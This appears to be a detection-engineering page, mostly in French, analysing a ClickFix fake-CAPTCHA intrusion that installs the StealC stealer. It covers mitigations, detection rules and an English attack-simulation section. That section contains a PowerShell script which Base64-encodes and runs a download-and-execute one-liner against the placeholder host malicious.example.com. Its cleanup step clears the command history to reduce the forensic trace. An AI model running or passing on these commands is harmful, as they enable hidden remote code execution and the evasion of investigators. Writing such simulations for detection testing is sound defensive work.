Comment ClickFix Ouvre la Porte au Voleur d’Informations StealC Sournois
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une intrusion sans fichier, en plusieurs étapes, débute sur le site compromis d’un restaurant vietnamien hébergeant un faux CAPTCHA. Les victimes sont incitées à exécuter un PowerShell qui extrait du shellcode indépendant de la position, charge de manière réfléchie un téléchargeur 64 bits et injecte le voleur d’informations StealC dans svchost.exe. StealC collecte les identifiants de navigateurs, les données des portefeuilles de cryptomonnaies, les identifiants Steam et Outlook, les détails de l’hôte et les captures d’écran, puis exfiltre via un trafic HTTP chiffré par RC4.
Investigation
Les chercheurs ont disséqué le chargeur JavaScript et PowerShell, ont confirmé l’utilisation du framework de shellcode Donut, et ont suivi les récupérations HTTP du téléchargeur vers des URLs contrôlées par l’attaquant. Le stealer semble être un malware doté de fonctions de vol modulaire, fourni en mode malware-as-a-service, avec une routine d’auto-suppression. Les notes de chasse incluent une valeur User-Agent de « Loader » et des clés de registre spécifiques liées à la mise en scène et à l’exécution.
Atténuation
Les défenses recommandées incluent la limitation ou la désactivation de la fonction de collage dans les navigateurs, le renforcement des politiques d’exécution de PowerShell et l’alerte sur des chaînes User-Agent inhabituelles. Ajoutez la détection du chargement PE réfléchi et de l’injection de processus, et appliquez l’inspection des sorties HTTP pour la livraison des charges utiles encodées en Base64. L’éducation des utilisateurs sur les appâts CAPTCHA fictifs devrait être considérée comme un contrôle, pas une réflexion après coup.
Réponse
En cas de découverte, isolez le point de terminaison, arrêtez l’instance injectée de svchost.exe, capturez les dumps de mémoire pour l’examen du shellcode et bloquez les domaines/URLs malveillants. Réinitialisez les identifiants exposés, examinez les artefacts de registre et de navigateur pour en mesurer l’impact, et surveillez le trafic C2 résiduel.
Attack Flow
Detections
Possible PING Usage for Delay Execution (via cmdline)
View
Suspicious File Download Direct IP (via proxy)
View
LOLBAS wmic (via cmdline)
View
Download or Upload via Powershell (via cmdline)
View
IOCs (SourceIP) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
IOCs (HashSha256) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
IOCs (DestinationIP) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
Detect StealC Information Stealer Network Activity [Windows Network Connection]
View
Detect Process Injection via StealC into svchost.exe [Windows Process Creation]
View
PowerShell EncodedCommand and iex(irm) Detected [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using
iex(irm…). By using the-EncodedCommandswitch, the attacker hides the actual commands from casual inspection, and theiex(irm…)pattern directly matches the detection rule.-
Create the malicious script (
payload.ps1) hosted onhttp://malicious.example.com/payload.ps1. -
Encode the launcher command:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # This value is used in the next step -
Execute the encoded command on the target:
powershell.exe -EncodedCommand <Base64StringFromStep2>
This generates a Sysmon ProcessCreate event where
CommandLinecontains-EncodedCommandand the decoded text includesiex(irm…), satisfying the Sigma rule. -
-
Regression Test Script:
#----------------------------------------------------------- # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Define malicious script URL (replace with your test server) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Build the one‑liner that downloads and executes the script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Encode the command in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Launch PowerShell with the encoded command Write-Host "Executing encoded command..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulation completed." -
Cleanup Commands:
# Remove any temporary files created by the simulated payload (if any) # Example: delete the downloaded script if it was saved locally $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Removed temporary payload." } # Optionally, clear the PowerShell history to reduce forensic trace Clear-History